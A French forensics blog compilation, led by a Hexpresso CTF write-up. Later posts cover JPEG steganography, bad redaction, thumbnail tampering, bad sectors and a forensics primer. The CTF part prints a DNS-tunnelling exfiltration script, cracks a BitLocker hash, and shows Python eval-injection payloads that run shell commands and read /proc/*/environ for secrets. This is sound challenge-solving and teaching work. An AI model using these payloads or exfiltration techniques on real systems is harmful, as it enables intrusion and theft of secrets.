Hexpresso Capture.The.Fic CTF write-up

Hexpresso Capture.The.Fic CTF write-up

Du 12 décembre au 19 décembre, hexpresso organisait un CTF en ligne. Il s'agissait de se pré-qualifier pour un challenge pendant le FIC.

Sans intention de vraiment participer au challenge pendant le FIC, je voulais tout de même essayer de voir jusqu'où je pouvais aller. Je suis loin d'être un spécialiste de ce genre de choses. Je ne fais que rarement du reverse (en dehors des systèmes et des structures de fichiers).

Voici ce que j'ai fait.

  1. Étape 1 : OSINT/JS

La première étape consiste en une page web dans laquelle il faut entrer le flag :

step1

En regardant la source de la page, on trouve ceci :

<script>
  const play = () => {
    var game = new Array(
      116,
      228,
      [...]
      1385,
      1431,
      1515
    );

    const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
    const flag = document.getElementById("flag").value;

    for (i = 0; i < u_u.length; i++) {
      if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
        alert("NOPE");
        return;
      }
    }
    // Good j0b
    alert("WELL DONE!");
  [...]
</script>

La ligne qui nous intéresse est if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]). On connait toutes les variables. Il faut que le code du caractère du flag additionné au code du caractère de la chaine CTF.By.HexpressoCTF.By.Hexpresso, additionné à la position du caractère multiplié par 42, soit égal au tableau au début du script.

Un simple tableau Excel qui fait les opérations et on obtient le flag : 1f1bd383026a5db8145258efb869c48f

  1. Étape 2 : PCAP/DNS

On nous fourni un fichier pcap :

step2

On remarque deux flux principaux : un flux http et un flux DNS. En analysant le flux http, on constate deux requêtes et deux réponses : index.html et dnstunnel.py. C'est le second qui va nous intéresser. Voici son contenu :

#! /usr/bin/python3
# I have no idea of what I'm doing

#Because why not!
import random
import os

f = open('data.txt','rb')
data = f.read()
f.close()

print("[+] Sending %d bytes of data" % len(data))

#This is propa codaz
print("[+] Cut in pieces ... ")

def encrypt(l):
    #High quality cryptographer!
    key = random.randint(13,254)
    output = hex(key)[2:].zfill(2)
    for i in range(len(l)):
        aes = ord(l[i]) ^ key
        #my computer teacher hates me
        output += hex(aes)[2:].zfill(2)
    return output

def udp_secure_tunneling(my_secure_data):
    #Gee, I'm so bad at coding
    #if 0:
    mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
    os.system(mycmd)
    #We loose packet sometimes?
    os.system("sleep 1")
    #end if

def send_data(s):
    #because I love globals
    global n
    n = n+1
    length = random.randint(4,11)
    # If we send more bytes we can recover if we loose some packets?
    redundancy = random.randint(2,16)
    chunk = data[s:s+length+redundancy].decode("utf-8")
    chunk = "%04d%s"%(s,chunk)
    print("%04d packet --> %s.local.tux" % (n,chunk))
    blob = encrypt(chunk)
    udp_secure_tunneling(blob)
    return s + length

cursor = 0
n=0
while cursor<len(data):
    cursor = send_data(cursor)

#Is it ok?

On constate que le script ouvre un fichier texte, le découpe en morceaux de taille variable et avec de la redondance, chiffre les données puis fait une requête DNS avec ces dernières. C'est la fonction encrypt qui va nous intéresser. Elle génère au hasard une clé entre 13 et 254. Elle met cette clé au début de la chaine résultante et ajoute le résultat d'un XOR entre la clé et la chaine entrée.

La première requête DNS est faite sur a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8. En faisant un xor entre A1 et 91919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8, on obtient 0000 Congratulations!! Y.

La seconde requête DNS est faite sur a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0. En faisant un xor entre a6 et 96969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0, on obtient 0011 ions!! You did it so f.

En continuant sur toutes les requêtes, on obtient le texte suivant : Congratulations!! You did it so far! Here is the link in base32 form: NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T MOJQMM4DMMZTG42QU== [...]

En décodant la base32, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375.

  1. Étape 3 : FORENSIC

On nous dit :

We found this USB key in the pocket of a criminal, are you able to analyze it and find his secret.

Et on nous fourni un fichier raw.

Une analyse rapide du fichier montre qu'il s'agit d'une image physique d'une clé USB. La partition dispose d'une signature bitlocker : ëX.-FVE-FS-. La clé USB est donc chiffrée. On va tenter de bruteforcer le mot de passe. Pour cela on utilise bitcracker_hash qui permet d'extraire les hash.

# /bitcracker_hash -i 76b0c868ab7397cc6a0c0a1e107e3079.raw -o .

[...]

Output file for user password attack: "./hash_user_pass.txt"

Output file for recovery password attack: "./hash_recv_pass.txt"

On peut ensuite fournir le fichier hash_user_pass.txt à John the Ripper pour qu'il tente de trouver le mot de passe :

# cat hash_user_pass.txt 
$bitlocker$0$16$6946a04b89585fea10b4817c9a3917c9$1048576$12$c0297b4057a9d50103000000$60$724b0b483ed7b6c3cef283d34830adb006f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79
# john hash_user_pass.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password         (?)
# john -show hash_user_pass.txt 
?:password

1 password hash cracked, 0 left

Le mot de passe est donc password.

On peut maintenant monter la clé USB. Elle ne semble contenir qu'un fichier texte nommé flag.txt. Voici son contenu.

Every Forensic investigation starts with a good bitlocker inspection.
-- @chaignc

Try Harder !

Il ne contient malheureusement pas le flag (et je dirais plutôt que ça commence par une reconstruction de RAID, mais passons). Une analyse du système de fichier NTFS révèle la présence de 5 fichiers zip effacés : f1.zip, f2.zip, f3.zip, f4.zip et fic.zip. Tous contiennent un fichier texte nommé fic.txt dont voici le contenu :

https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411

En suivant le lien, on obtient le texte suivant :

aHR0cHM6Ly9jdGYuaGV4cHJlc3NvLmZyLzFlYTk2N2Y1MmQxYWFiMzI3ZDA4NGVmZDI0ZDA0OTU3Cg==

En décodant la base64, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/1ea967f52d1aab327d084efd24d04957

  1. Étape 4 : CRYPTO/RE

On nous dit :

Our RSSI was storing all his information in cleartext, but he was caught by ransomware. It's up to you to reverse this ransomware and try to decrypt the encrypted file!

Et on nous fourni un zip contenant deux fichiers : flag.txt.crypt et wanafic.

Il faut donc reverser wanafic pour déchiffrer le premier fichier. Avec ghidra, on analyse le fichier wanafic :

step4_ghidra

Parmi les différentes fonctions, on a FUN_00101220. C'est elle qui est chargée du chiffrement. Elle prend trois paramètres : le contenu du fichier à chiffrer, le nom du fichier à chiffrer et un timestamp. Avec ces éléments, elle fait un XOR pour écrire le fichier chiffré :

fputc((int)(char)(param_2[(long)((int)(char)(byte)iVar1 % (int)sVar3)] ^(byte)iVar2 ^ (byte)iVar1),__stream);

Comme c'est un XOR, il ne nous manque que le timestamp pour inverser le processus. On le trouve en regardant celui du fichier flag.txt.crypt :

# unzip 5c09555ef0576e6cee46a9ee7a841c8b.zip 
Archive:  5c09555ef0576e6cee46a9ee7a841c8b.zip
 extracting: flag.txt.crypt          
  inflating: wannafic                
# stat -c %Y flag.txt.crypt 
1576154262

À partir de là, on peut copier/coller/amender le code décompilé par ghidra. J'ai produit quelque chose comme ça :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

void FUN_00101220(FILE *param_1,char *param_2,__time_t param_3)
{
  int iVar1;
  int iVar2;
  FILE *__stream;
  size_t sVar3;
  long in_FS_OFFSET;
  long local_10;
  char local_118 [50];

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand((uint)param_3);
  printf("[*] ts : %d\n",param_3);
  sprintf(local_118,"%s.crypt",param_2);
  printf("[*] Writing to %s\n",&local_118);
  __stream = fopen((char *)&local_118,"w");
  if (__stream == (FILE *)0x0) {
    printf("[!] Unable to open file.\n");
  }
  sVar3 = strlen(param_2);
  while(1) {
    iVar2 = fgetc(param_1);
    printf("in : %x --  ",iVar2);

//    if ((char)iVar2 == -1) break;
    iVar1 = rand();
    unsigned int out = (int)(char)(param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] ^ (char)iVar2 ^ (char)iVar1);
    printf("param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] : %x --  ",param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)]);
    printf("iVar2 (get) : %x -- ",(char)iVar2);
    printf("iVar1 : %x -- ",(char)iVar1);
    printf("out : %x\n",out);
    fputc(out,__stream);
  }
  fclose(__stream);
  printf("[*] Done !\n\n",&local_118);
  return;
}

int main( int argc, char **argv ) 
{
  if (argc < 2) {
    printf("Usage: ./wannafic <file> ...\n");
    return(1);
  }
  FILE *__stream;
  time_t tVar1;

  printf("[*] Encrypting %s\n",argv[1]);
  __stream = fopen(argv[1],"r");
  if (__stream == (FILE *)0x0) {
    printf("[!] Unable to open file.\n");
  }
    tVar1 = 1576154262;

  FUN_00101220(__stream,argv[1],tVar1);
  fclose(__stream);

  return 0;
}

On renomme le fichier flag.txt.crypt en flag.txt et en exécutant notre code compilé, on obtient un fichier texte dont voici le contenu :

step4_flag

Et on a donc le lien vers l'étape suivante https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215

  1. Étape 5 : PYJAIL/PY

step5

En cliquant sur le lien some tips here, on télécharge un fichier nommé for_the_players.zip. Lorsqu'on le décompresse on obtient deux certificats et un fichier texte :

socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0

Lorsqu'on lance la commande, on obtient un prompt et, après avoir envoyé quelques caractères, Bad flag ! :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>aaa
Bad flag !

En expérimentant un peu, on finit par taper un ' et on obtient ça :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>'
Traceback (most recent call last):
  File "./main.py", line 28, in <module>
    main()
  File "./main.py", line 21, in main
    if flag == get_input():
  File "./main.py", line 15, in get_input
    return eval(f"""'{input(">")}'""")
  File "<string>", line 1
    '''
      ^
SyntaxError: EOF while scanning triple-quoted string literal

On a donc une partie du code source. La ligne qui nous intéresse est return eval(f"""'{input(">")}'"""). Après de multiples essais, on se rend compte qu'on peut mettre quelque chose comme ça ' + cmd +' et que la commande sera évaluée comme du code python. On peut ainsi commencer par récupérer le code source de main.py :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("import os\nos.system(\'cat main.py\')", "<stdin>", "exec"))) + '
#!/usr/bin/env python
import os

SUCCESS = "Good flag !"
FAIL = "Bad flag !"

def get_flag():
    flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
    os.environ.update({"FLAG": ""})
    return flag

def get_input():
    return eval(f"""'{input(">")}'""")

def main():
    flag = get_flag()

    if flag == get_input():
        print(SUCCESS)
    else:
        print(FAIL)

if __name__ == "__main__":
    main()
Bad flag !

Le flag est stocké dans une variable d'environnement, mais elle est aussitôt écrasée. Il faut trouver un moyen d'y accéder. Après un grand nombre de requêtes sur le serveur et quelques (heures de) recherches, j'ai découvert que les variables d'environnement sont aussi accessibles par le /proc J'ai fini par faire ça :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("print(os.system(\'cat /proc/*/environ\'))", "<stdin>", "exec"))) + '
cat: can't open '/proc/1/environ': Permission denied
cat: can't open '/proc/5112/environ': Permission denied
[...]]FLAG=Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr[...]
Bad flag !

Et on obtient le lien vers l'étape suivante : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr/

  1. Conclusion

Ça n'est pas mon genre d'abandonner, mais, faute de temps (la famille et les clients), et aussi, il faut bien l'avouer, de compétences, je me suis arrêté là.

Je suis tout de même arrivé jusqu'a l'étape 6 (sur 8) et je suis dans les 20/25% qui sont arrivés jusque là. Je considère que c'est un résultat assez honorable pour l'expert généraliste que je suis.

Même si dans ce write-up, tout semble parfois simple, logique et couler de source, je me suis bien cassé la tête et les étapes 4 et 5 ont été assez chronophages. Malgré tout, j'ai surtout beaucoup appris, c'était en fin de compte, très intéressant.

Parce que je sais que ça n'est pas simple, je félicite les équipes qui sont arrivées au bout et bien évidement la team hexpresso !

Des données cachées dans une image jpeg - mini challenge forensique

Des données cachées dans une image jpeg - mini challenge forensique

Mi-aout, j'ai publié le tweet suivant :

J'ai caché des données (un flag au format FLAG{[MD5]}) dans ce fichier : https://lemnet.fr/img/lena_std.jpg

lena

Il s'agit d'une photo de Lena Söderberg, très utilisée comme image de test dans le traitement d'images.

L'idée étant de retrouver le flag.

Indice n°1
 Structure d'un fichier JPG et commentaire Les fichiers jpg sont toujours structurés de la même manière. Ils contiennent une suite de segments. Chaque segment commence par un marqueur. Les marqueurs commencent tous par l'octet 0xFF suivi d'un autre octet qui indique le type de marqueur. Certains marqueurs ne contiennent que ces deux octets. Les autres sont suivis de deux octets qui indiquent la taille des données qui suivent (taille comprise).
Voici un tableau reprenant les principaux marqueurs :

Nom courtMarqueurDonnéesNomCommentaires
SOI0xFF 0xD8-Start Of ImageDébut du fichier
SOF00xFF 0xC0variableStart Of Frame (baseline DCT)Début d’une image codée par progressive DCT
SOF20xFF 0xC2variableStart Of Frame (progressive DCT)Début d’une image codée par progressive DCT
DHT0xFF 0xC4variableDefine Huffman Table(s)Table(s) de Huffman
DQT0xFF 0xDBvariableDefine Quantization Table(s)Table(s) de quantification
SOS0xFF 0xDAvariableStart Of ScanCommence un parcours de haut en bas de l’image
APPn0xFF 0xEnvariableApplication-specificInformations complémentaires (EXIF par exemple)
COM0xFF 0xFEvariableCommentCommentaire
EOI0xFF 0xD9-End Of ImageFin du fichier

On remarque un commentaire dont le marqueur est 0xFF 0xFE. Dans mon image, il est présent dès le début du fichier à l'offset 2:

ff d8 ff fe 00 3c 1f 8b 08 00 6d a4 52 5d 00 ff
05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f
58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76
14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00
ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09
...
Les octets 0x00 0x3C, à l'offset 4, indiquent une taille de 60 octets. En retirant les deux octets de la taille, on obtient 58 octets et on peut extraire le commentaire :

1f 8b 08 00 6d a4 52 5d 00 ff 05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f 58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76 14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00

Indice n°2
 Gzip C'est un algorithme de compression très largement rependu, notamment dans les échanges de données entre les navigateurs et les serveurs Web. On remarque que le commentaire commence par les octets 1f 8b. Il s'agit de la signature d'un fichier Gzip.
On peut donc tenter de décompresser le commentaire avec cet algorithme et on obtient :

SYNT{0q1760061qpn919r6rq61or607q6ro60}

Cela commence à ressembler au format du flag que l'on recherche.

Indice n°3
 ROT13 Le ROT13 est un cas particulier du chiffre de César. Il s’agit d’un décalage de 13 caractères de chaque lettre. Son principal avantage réside dans le fait que le codage et le décodage se font exactement de la même manière. En appliquant un ROT13 sur la chaine précédente on obtient le flag :

FLAG{0d1760061dca919e6ed61be607d6eb60}

Un exemple de mauvais caviardage

Un exemple de mauvais caviardage

Dans l'un des cas que j'ai traité récemment, j'ai été confronté à un document pdf dans lequel une partie du texte avait été caviardée. Voici ce à quoi le document ressemblait :

caviardage.

Les métadonnées indiquaient que le fichier était issu de Word. Il semblerait donc que la personne en charge du caviardage avait simplement ajouté des carrés noirs au-dessus du texte qu'il voulait cacher, avant d'enregistrer le fichier en pdf directement avec Word.

Ça n'est pas du tout la bonne manière de procéder. En effet, il suffit d'ouvrir le document avec Inkscape pour voir que les carrés noirs sont des objets :

inkscape

Pour voir le texte dans son intégralité, il suffit de supprimer ces objets :

inkscape

Selon moi, pour vraiment cacher une partie du contenu, il aurait fallu deux étapes de plus. Dans un premier temps, il aurait fallu convertir le pdf dans un format de fichier réellement graphique (png ou jpg par exemple). Et dans un second temps, il aurait fallu le reconvertir en pdf.

Manipulation de miniatures de fichiers jpg

Manipulation de miniatures de fichiers jpg

J'avais envie de jouer avec les miniatures intégrées aux photos au format jpg pour voir comment les différents OS réagissaient...

J'ai donc pris deux photos avec mon smartphone. Il s'agit d'une feuille blanche sur laquelle j'ai écrit une fois "petite" et l'autre fois "grande" :

petite et grande

J'ai donc deux fichiers jpg contenant chacun une miniature. J'appellerai l'image sur laquelle j'ai écrit "petite" la petite et celle sur laquelle j'ai écrit "grande" la grande. L'idée est de prendre la miniature de la petite pour la mettre dans la grande.

Muni d'un bon éditeur hexadécimal, j'avais trois parties à modifier :

  • La taille du marqueur APP1 à l'offset 0x4, qui correspond à la taille des métadonnées Exif,
  • La taille de la miniature, dans ce cas à l'offset 0x4B8,
  • le contenu de la miniature, dans ce cas à l'offset 0x4D0

grande hexadecimal

Dans la grande image, la miniature fait 6153 octets (0x1809). Dans la petite image, la miniature est légèrement plus grande. Elle fait 6418 octets (0x1912). Ainsi, j'ai effectué les manipulations suivantes :

  • suppression de la miniature entre l'offset 0x4D0 et 0x1CD8 pour la remplacer par l'autre miniature,
  • remplacement de la taille de la miniature à l'offset 0x4B8 : 0x1809 (6153) devient 0x1912 (6418) et on écrit donc 0x1219 (little endian)
  • remplacement de la taille du marqueur APP1 à l'offset 0x4 : on a ajouté 265 octets au fichiers et donc 0x1CD5 (7381) devient 0x1DDE (7646) et on écrit donc 0x1DDE (big endian)

On obtient donc ceci :

grande modifiée hexadecimal

L'idée est ensuite de voir comment les systèmes d'exploitations se comportent avec une telle image.

En ce qui concerne MacOS, voici ce que j'obtiens dans le finder et sur mon bureau : macOS finder

macOS bureau

En ce qui concerne Windows 10, voici ce que j'obtiens :

windows 10 explorer

En ce qui concerne Windows 7, en dehors du fait que l'image n'est pas pivotée, les résultats sont identiques :

windows 7 explorer

Enfin sous Android, voici ce que j'obtiens (en vidéo) :

On constate donc que les systèmes d'exploitations ne génèrent pas les miniatures, mais utilisent celles qui sont présentes dans les métadonnées des fichiers.

D'un point de vue de l'investigation numérique, il est important de faire attention à ce genre de choses, sinon on risque de passer à coté.

En bonus, à partir des captures de l'éditeur hexadécimal, ceux qui le souhaitent pourront tenter de me dire quand j'ai pris ces photos (plutôt facile) mais surtout où je les ai prises (un peu plus compliqué)...

Secteurs défectueux dans une image disque et x-ways forensics

Secteurs défectueux dans une image disque et x-ways forensics

Lorsqu'on réalise une image d'un disque dur, il peut arriver que l'on soit confronté à des secteurs défectueux. Il s'agit généralement de secteurs dont le CRC ne correspond pas aux données. C'est surtout un signe que le disque est en fin de vie. Dans ce cas, c'est donc particulièrement une bonne chose de travailler sur une image plutôt que directement sur le disque. Bon nombre de logiciels permettant de faire des images de disque ne gèrent pas toujours cela très bien, surtout lorsque les problèmes sont nombreux.

X-Ways Forensics gère cela plutôt bien.

X-Ways Forensics General Options

Dans les options générales, on remarque :

  • une case à cocher qui permet d'utiliser deux méthodes alternatives de lecture et surtout d'ajouter un timeout,
  • un champ nommé "Surrogate pattern for unreadable sectors" qui correspond au motif qui sera écrit à la place du contenu d'un secteur défectueux.

À l'issue de l'image, on obtient toujours un fichier texte portant le même nom que les fichiers de l'image. S'il y a des secteurs défectueux, ils sont indiqués dans ce fichier :

[...]
Destination: H:\img\ST750LM0 30-1KKL42.e01
[x] Split image into segments of 1,0 GB

25/12/1970  02:46:14  Cannot read from Sector 2 081...2 087 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:06:50  Cannot read from Sector 39 124 144...39 124 151 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:11:36  Cannot read from Sector 39 157 288...39 157 295 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:16:41  Cannot read from Sector 39 193 408...39 193 415 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:21:37  Cannot read from Sector 39 226 552...39 226 559 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:25:57  Cannot read from Sector 39 244 480...39 244 487 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:30:27  Cannot read from Sector 39 277 616...39 277 623 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:32:56  Cannot read from Sector 39 310 760...39 310 762 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.

Number of unreadable sectors: 58

Hash of source data: B371B93D056DC3D5D74809578EC36437 (MD5)

25/12/1970, 05:30:52
Imaging completed: 147 GB
[...]

Le hash de la source ("Hash of source data") est celui qui est stocké dans les fichiers E0x. Il est important de noter qu'il est calculé en tenant compte du motif de remplacement indiqué dans les options. Il ne s'agit donc pas réellement du hash du disque source puisqu'il est de toute façon incalculable. Il permettra surtout de vérifier que l'image est bien intègre.

Lorsqu'on regarde le contenu d'un secteur défectueux, on constate bien la présence du motif de remplacement :

X-Ways Forensics UNREADABLESECTOR

La difficulté principale est ensuite de trouver quels sont les fichiers affectés par les secteurs défectueux. On peut se déplacer aux offsets spécifiés dans le fichier texte et lire les métadonnées du fichier dans le panneau info, mais cela devient très vite fastidieux si les secteurs défectueux sont très nombreux. Il est plus simple d'utiliser plutôt le motif de remplacement dans une recherche par mots clés avec les paramètres suivants :

X-Ways Forensics Simultaneous Search

Il est à noter que pour accélérer le processus :

  • on utilise une recherche physique (sector-wise)
  • Cond.: offset mod est coché. Avec les paramètres 512 = 0, on indique que la recherche ne doit s'effectuer qu'en début de secteur.

Selon la taille de l'image et le débit du disque qui la stocke, la recherche peut être longue. On peut l'annuler dès que le nombre de hits correspond au nombre de secteurs défectueux. Dans le cas en question, il n'y a que 58 secteurs défectueux uniquement situés en début de disque :

X-Ways Forensics Searching

À l'issue de la recherche ou après l'avoir annulée, on obtient les résultats. En cochant "List 1 hit per item only", on a tout de suite la liste des quatre fichiers qui risquent de ne pas s'ouvrir.

X-Ways Forensics Search results

Ainsi, en utilisant un motif de remplacement facilement identifiable, même si les secteurs défectueux sont très nombreux, il est assez facile d'obtenir les fichiers en contenant au moins un, et ce de manière automatisée.

Qu'est-ce que l'investigation numérique ?

Qu'est-ce que l'investigation numérique ?

L'investigation numérique ou l'informatique légale (ou computer forensics en anglais) prend de plus en plus de place dans les enquêtes de police ou judiciaires mais aussi dans des affaires privées. Elle trouve ses sources à la fin des années 70 lorsque les premiers crimes impliquant des ordinateurs apparaissent. Elle évolue dans les années 80 et 90 pour se transformer en industrie dans les années 2000.

Aujourd'hui, on peut dire que c'est l'art et la science de collecter, préserver, identifier, analyser et présenter des preuves issues de supports numériques.

  1. "L'art et la science"

L'investigation numérique est une science, d'une part, parce que l'informatique répond aux lois de la physique et d'autre part, parce qu'une grande partie des processus sont encadrés par des procédures scientifiques de manière à les rendre reproductibles.

C'est également un art car chaque investigation est différente du fait que chaque organisation et chaque utilisateur est différent. De plus, elle nécessite un certain savoir faire qui s'acquiert avec l'expérience et deux investigateurs peuvent travailler différemment sur un cas pour obtenir les même résultats.

  1. "Preuves issues de supports numériques"

Lorsque l'on parle de supports numériques, la première chose qui vient à l'esprit est l'ordinateur ou le smartphone. Mais il s'agit également de cartes mémoires, de clés USB, d'appareils photo numériques, de GPS, de consoles de jeux, de box ADSL, de composants réseau, d'imprimantes, etc. Tout ce qui contient de la mémoire peut ou devrait être étudié.

Les preuves peuvent être des éléments de trois types. En premier lieu, il s'agit des fichiers générés par l'utilisateur (documents, messageries, carnet d'adresses, favoris Internet, etc.). Ensuite, il s'agit des fichiers générés par le système d'exploitation (sauvegarde, fichiers de configuration, historique des fichiers ouverts ou Internet, etc.). Enfin, il s'agit de tout ce qui n'est pas stocké sous forme de fichiers (métadonnées, RAM, espace non alloué, etc.). Ainsi les preuves peuvent donc se situer dans tout le contenu de la mémoire. Il faut cependant noter que la saisie a lieu à un moment donné et que l'absence de preuve n'est pas la preuve de l'absence.

  1. "Collecter"

La collecte correspond généralement à une copie dite bit-à-bit qu'on appelle image. Elle doit être pure et parfaite. Cela signifie que, d'une part, elle doit être une copie exacte du support original donc son empreinte numérique (MD5 et/ou SHA1) doit être identique à celle de l'original. Et d'autre part, l'opération de copie ne doit pas modifier l'original. En cas d'impossibilité de faire une copie "pure" et "parfaite", il est important de le documenter. Par exemple, lorsqu'on est confronté à des secteurs défectueux ou illisibles, il faut les consigner et indiquer par quoi leur contenu a été remplacé dans l'image.

  1. "Préserver"

Il s'agit essentiellement de se demander comment manipuler, transporter et stocker les images et de mettre en place les procédures liées à ces questions. Ainsi, pour manipuler un disque dur, ou tout autre matériel électronique possédant des composants apparents, afin d'éviter des décharges électrostatiques, il est d'usage de porter un bracelet antistatique (ou ESD). Pour le transport et le stockage, il existe des sacs de protection antistatique dans tous les formats. Pour un téléphone ou un smartphone, on ne l'allume que lorsqu'il est dans une cage de Faraday. Il s'agit également de ne pas modifier le contenu de l'image lors des phases d'identification et d'analyse.

  1. "Identifier" et "analyser"

Cela consiste en la recherche de fichiers ou d'éléments en relation avec la demande. On peut commencer par s'imprégner rapidement de l'organisation de l'utilisateur, pour regarder les fichiers existants, notamment sur son bureau ou dans le/les dossiers contenant ses documents. Il n'est pas impossible de trouver rapidement des données intéressantes mais on ne peut pas se contenter de ça. Il faut tenter de récupérer des fichiers effacés ou des fragments de fichiers. Puis la recherche peut se faire d'un grand nombre de manières. Je ne les détaillerai pas ici, mais on peut notamment effectuer des recherches par extensions, par signatures ou par empreintes. Il est également possible d'effectuer des recherches par mots clés ou expression régulières sur l'ensemble de l'image. Si l'on est intéressé par une période précise, on peut généralement utiliser une vue calendaire ou filtrer les éléments par date.

Qu'ils appartiennent encore au système de fichiers ou non, les éléments que l'on a identifiés sont majoritairement encodés, et ce d'une manière différente pour chaque type de fichiers. De plus, le contenu d'un fichier peut ne pas être pertinent ou l'être moins sans les propriétés liées au système de fichiers (dates, chemin, etc.), sans les métadonnées qu'il contient (dates, auteur, etc.) ou sans son origine (réseau, clé USB, Internet, etc.). Ainsi, il ne suffit pas de trouver et d'extraire des données, il faut aussi les interpréter, y compris celles qui ne sont pas directement visibles par l'utilisateur.

Il s'agit de la partie la plus longue et la plus délicate. On craint toujours d'être passé à coté d'éléments qui pourraient être pertinents.

  1. "Présenter"

La présentation des résultats est finalement la phase la plus importante. En effet, c'est tout ce qu'il restera à l'issue des opérations. Elle prend généralement la forme d'un rapport qui doit rester accessible à tous. Il doit donc être assez détaillé pour inclure tous les éléments pertinents que l'on a trouvés, tout en restant compréhensible par une personne qui n'est pas spécialiste de l'informatique. Et c'est la toute là difficulté.

C'est bien de savoir ce que c'est, mais comment fait-on ?

Toutes ces étapes se font à l'aide d'outils spécialisés. Pour la phase de collecte, il existe des logiciels qui permettent de faire des images sans modifier l'original mais il est préférable d'utiliser des matériels dédiés. On trouve des duplicateurs autonomes ou de simples bloqueurs. Les plus connus sont ceux de la gamme Tableau.

Pour les autres phases, les logiciels d'investigation numérique généralistes, qu'ils soient commerciaux (X-Ways Forensics, EnCase, FTK entre autres) ou libres (DFF et The Sleuth Kit), sont primordiaux. Cependant, ils nécessitent d'une part une connaissance de l'informatique en général et des concepts liés à l'investigation numérique et d'autre part, une certaine expérience qui permet de les prendre en main.

Même s'il s'agit d'un domaine d'activité réservé à des spécialistes, la possibilité d'une investigation numérique doit être prise en compte dans la gestion informatique quotidienne d'une entreprise.